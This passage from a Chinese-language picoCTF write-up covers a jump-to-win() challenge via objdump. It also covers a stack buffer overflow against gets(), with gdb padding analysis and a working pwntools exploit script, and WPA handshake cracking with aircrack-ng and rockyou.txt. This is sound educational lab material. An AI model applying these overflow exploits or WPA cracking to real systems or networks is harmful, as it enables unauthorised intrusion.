--disassemble=win picker-IV ``` ``` 000000000040129e <win>: ... ``` 用 `objdump` 可以找到 `win()` 的地址為 `0x40129e`,接著連上 server 輸入地址就能拿到 flag 了。 ### Summary Flag: `picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_xxxxxxxx}` ## Local Target <span style="color: orange;"> [Medium] </span> ### Challenge description Smash the stack Can you overflow the buffer and modify the other local variable? The program is available [here](https://artifacts.picoctf.net/c/518/local-target). You can view source [here](https://artifacts.picoctf.net/c/518/local-target.c). ### Solution 查看原始碼後可以看到程式使用 `gets()` 接收使用者輸入,所以應該有 overflow 的問題,而如果我們能將 `num` 的數值更改為 65 的話就能夠拿到 flag: ```C int num = 64; printf("Enter a string: "); fflush(stdout); gets(input); printf("\n"); printf("num is %d\n", num); fflush(stdout); if( num == 65 ){ printf("You win!\n"); fflush(stdout); // Open file fptr = fopen("flag.txt", "r"); if (fptr == NULL) { printf("Cannot open file.\n"); fflush(stdout); exit(0); } ... } ``` 知道要怎麼做之後,我們可以來找 `num` 在 stack 中的位置,透過 `gdb` 並執行 `disas main`: ```C++ 0x0000000000401242 <+12>: mov DWORD PTR [rbp-0x8],0x40 ``` 在 main+12 的位置會將 `0x40` 存入 `[rbp-0x8]`,因此這應該就是 `num` 存放的位置,接著只要再找出 padding 就能夠將 `num` 更改成我們要的值了: ```C++ 0x0000000000401275 <+63>: call 0x401110 <gets@plt> 0x000000000040127a <+68>: mov edi,0xa ``` `gets()` 後的下一條指令在 main+68,我們可以把 breakpoint 設在這裡,然後送入一連串的 a,最後算出到達 `rbp-0x8` 需要幾個 a 來得到 padding 長度。 ```C++ gef➤ b *main+68 Breakpoint 1 at 0x40127a gef➤ !python3 -c "print('a' * 50)" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa gef➤ r ``` ``` Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ``` ```C++ gef➤ x/50bx $rbp-0x8 0x7fffffffdb58: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x7fffffffdb60: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x7fffffffdb68: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x7fffffffdb70: 0x61 0x61 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdb78: 0x36 0x12 0x40 0x00 0x00 0x00 0x00 0x00 0x7fffffffdb80: 0x00 0x00 0x00 0x00 0x01 0x00 0x00 0x00 0x7fffffffdb88: 0x78 0xdc ``` 可以看到送入 50 個 a 之後,在 `rbp-0x8` 之後有 26 個 a,因此 padding 的長度應該為 50 - 26 = 24。 最後用 `pwntools` 來跟 server 交互: ```python import sys from pwn import * host = "saturn.picoctf.net" port = sys.argv[1] r = remote(host, port) p = b"a" * 24 p += p64(0x41) r.sendlineafter(b"string: ", p) r.interactive() ``` ### Summary Flag: `picoCTF{l0c4l5_1n_5c0p3_xxxxxxxx}` # Forensics ## WPA-ing Out <span style="color: orange;"> [Medium] </span> ### Challenge description I thought that my password was super-secret, but it turns out that passwords passed over the AIR can be CRACKED, especially if I used the same wireless network password as one in the rockyou.txt credential dump. Use this '[pcap file](https://artifacts.picoctf.net/c/41/wpa-ing_out.pcap)' and the rockyou wordlist. The flag should be entered in the picoCTF{XXXXXX} format. ### Solution 從題目中我們可以知道我們需要破解 WPA 的密碼,而提示也告訴了我們可以使用 `aircrack-ng` 來做到這件事。 使用範例: ```bash $ aircrack-ng -w <wordlist(s)> <input file(s)> ``` 使用題目所說的 `rockyou.txt` 作為 wordlist,來破解封包中的密碼: ```bash $ aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa-ing_out.pcap ``` 接著就可以看到 `aircrack-ng` 把密碼破解出來,然後按照格式將密碼放入 picoCTF{} 就能拿到 flag 了: ``` Aircrack-ng 1.7 [00:00:01] 1105/10303727 keys tested (1713.74 k/s) Time left: 1 hour, 40 minutes, 11 seconds 0.01% KEY FOUND! [ mickeymouse ] Master Key : 61 64 B9 5E FC 6F 41 70 70 81 F6 40 80 9F AF B1 4A 9E C5 C4 E1 67 B8 AB 58 E3 E8 8E E6 66 EB 11 Transient Key : 90 63 ED C6 BB 8A 59 D1 A5 E8 B4 6F 2F 89 66 C2 0B D4 FC 62 37 2F 54 3B 7B B4 43 9B 37 F4 57 40 FD D1 91 86 7F FE 26 85 7B AC DD 2C 44 E6 06 18 03 B0 0F F2 75 A2 32 63 F7 35 74 2D 18 10 1C 25 EAPOL HMAC : 65 2F 6C 0E 75 F0 49 27 6A AA 6A 06 A7 24 B9 A9 ``` ### Summary Flag: `picoCTF{mickeymouse}`